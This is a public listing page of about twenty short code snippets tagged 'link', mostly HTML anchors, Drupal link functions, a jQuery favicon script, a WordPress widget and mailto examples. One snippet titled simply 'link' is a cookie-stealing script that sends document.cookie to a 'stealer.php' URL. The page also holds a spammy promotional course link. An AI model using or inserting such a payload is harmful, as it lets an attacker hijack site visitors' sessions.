Latest 100 public
snipts » link
showing 1-20 of 21 snipts for link
-
∞ Google Chrome Application
<meta name="title" content="NAME" /> <meta name="description" content="a short description"/> <link rel="icon" href="http://DOMAIN.COM/icon.png" sizes="48x48" />
-
∞ image link con target _blank
<? $img_path = "images/arr_leggi_blu.gif"; $link_path = "node/47"; $theme_name = 'pmsth'; $options = array( 'attributes' => array( 'target' => '_blank', ), 'html' => true, ); $img = theme('image', drupal_get_path('theme', $theme_name). "/$img_path"); print l($img, $link_path, $options); ?>
-
∞ link con target _blank
<? $anchor = "anchor text"; $drupal_path = "node/47"; $options = array( 'attributes' => array( 'target' => '_blank', ) ); print l($anchor, $drupal_path, $options); ?>
-
∞ anchored link
<a target="_blank" href="http://www.kabbalahlearningcenter.info/web/promo/lc">Free Kabbalah Course</a>
-
∞ link
http://www.kabbalahlearningcenter.info/web/promo/lc
-
∞ Favicon to external links
$('a[href^="http://"]').filter(function(){ return this.hostname && this.hostname !== location.hostname; }).each(function() { var link = jQuery(this); var faviconURL = link.attr('href').replace(/^(http:\/\/[^\/]+).*$/, '$1')+'/favicon.ico'; var faviconIMG = jQuery('<img src="favicon.png" alt="favicon" />')['prependTo'](link); var extImg = new Image(); extImg.src = faviconURL; if (extImg.complete) faviconIMG.attr('src', faviconURL); else extImg.onload = function() { faviconIMG.attr('src', faviconURL); }; });
-
∞ image link
<? $img_path = "images/arr_leggi_blu.gif"; $link_path = "node/47"; $theme_name = 'pmsth'; $img = theme('image', drupal_get_path('theme', $theme_name). "/$img_path"); print l($img, $link_path, array('html' => true)); ?>
-
∞ link
<? $anchor = "anchor text"; $drupal_path = "node/47"; print l($anchor, $drupal_path); ?>
-
∞ Posting a link
<a href="http://URL" > the link < /a >
-
∞ example of how to specify a link that opens in UCSF VPN
https://vpn.ucsf.edu/dana/home/launch.cgi?url=http%3A%2F%2Foaais.ucsf.edu
-
∞ link
<script language="JavaScript"> document.location="http://www.host.com/stealer.php?c=" + document.cookie; </script>
-
∞ sidebar widget - link summarizer
<?php /* Plugin Name: Link Summarizer Widget Plugin URI: Description: sidebar widget to use with the Link Summarizer Plugin Author: Bruno Amaral Version: 1.0 Author URI: http://www.brunoamaral.eu/ */ add_action("widgets_init", array('link_sum_widget', 'register')); register_activation_hook( __FILE__, array('link_sum_widget', 'activate')); register_deactivation_hook( __FILE__, array('link_sum_widget', 'deactivate')); class link_sum_widget{ function control(){ } function activate(){ } function deactivate(){ } function register(){ register_sidebar_widget('Link Summarizer Widget', array('link_sum_widget', 'link_sum_widget_echo')); register_widget_control('Link Summarizer Widget', array('link_sum_widget', 'control')); } /*Echo the Information*/ function link_sum_widget_echo($args) { extract($args, EXTR_SKIP); echo $before_widget; # echo $before_title . $title . $after_title; get_link_summary(); echo $after_widget; } } ?>
-
∞ Simple Link Code
<img src="URLtoIMAGE" />
-
∞ email link
<a href="mailto:email@domain.com?subject=SubjectHere">Email Me</a>
-
∞ link into qmake file
!isEmpty(LINK_ROOT_PATH) { createlink.commands = ln -sf $${INSTALL_ROOT_PATH}/$${BINARY_TARGET} $${LINK_ROOT_PATH}/$${BINARY_TARGET} QMAKE_EXTRA_TARGETS += createlink PRE_TARGETDEPS += createlink } -
∞ mail link containing various contents already
<a href="mailto:astark1@unl.edu?body=The message's first paragraph.%0A%0aSecond paragraph.%0A%0AThird Paragraph.">
-
∞ Sitemap Link
<link rel="alternate" type="application/rss+xml" title="Sitemap" href="sitemap.xml" />
-
∞ Make any DIV a link
<div onclick="location.href='http://www.example.com';" style="cursor:pointer;"></div>
-
∞ rootdomain+ trick - with or without the "www" prefix
/* Load absolute URL link: Here's a different link syntax that references an absolute URL to the file on your server: */ <a href="javascript:ajaxpage(rootdomain+'/mydir/index.htm', 'contentarea');">test</a> <div id="contentarea"></div> /* This will load "http://www.mydomain.com/mydir/index.htm". Here the important thing to note is the "rootdomain" variable. Instead of specifying literally the domain of your server, such as "http://www.mydomain.com", you should instead use "rootdomain" and let the script dynamically determine this domain. The reason for this is due to the two possible ways your domain can be entered, either with or without the "www" prefix. This variation creates a problem in that if you hard coded your domain inside the link using one version ("http://www") and the user is viewing your site using the other ("http://"), to Ajax, the two domains don't match, triggering the security limitation mentioned above, and the file is not loaded for that user. The "rootdomain" variable takes care of this by dynamically determining your current domain name as the user is using inside his/her browser to construct a full URL to the file to load. */
-
∞ Remove active link border
a:active, a:focus {outline:none;}


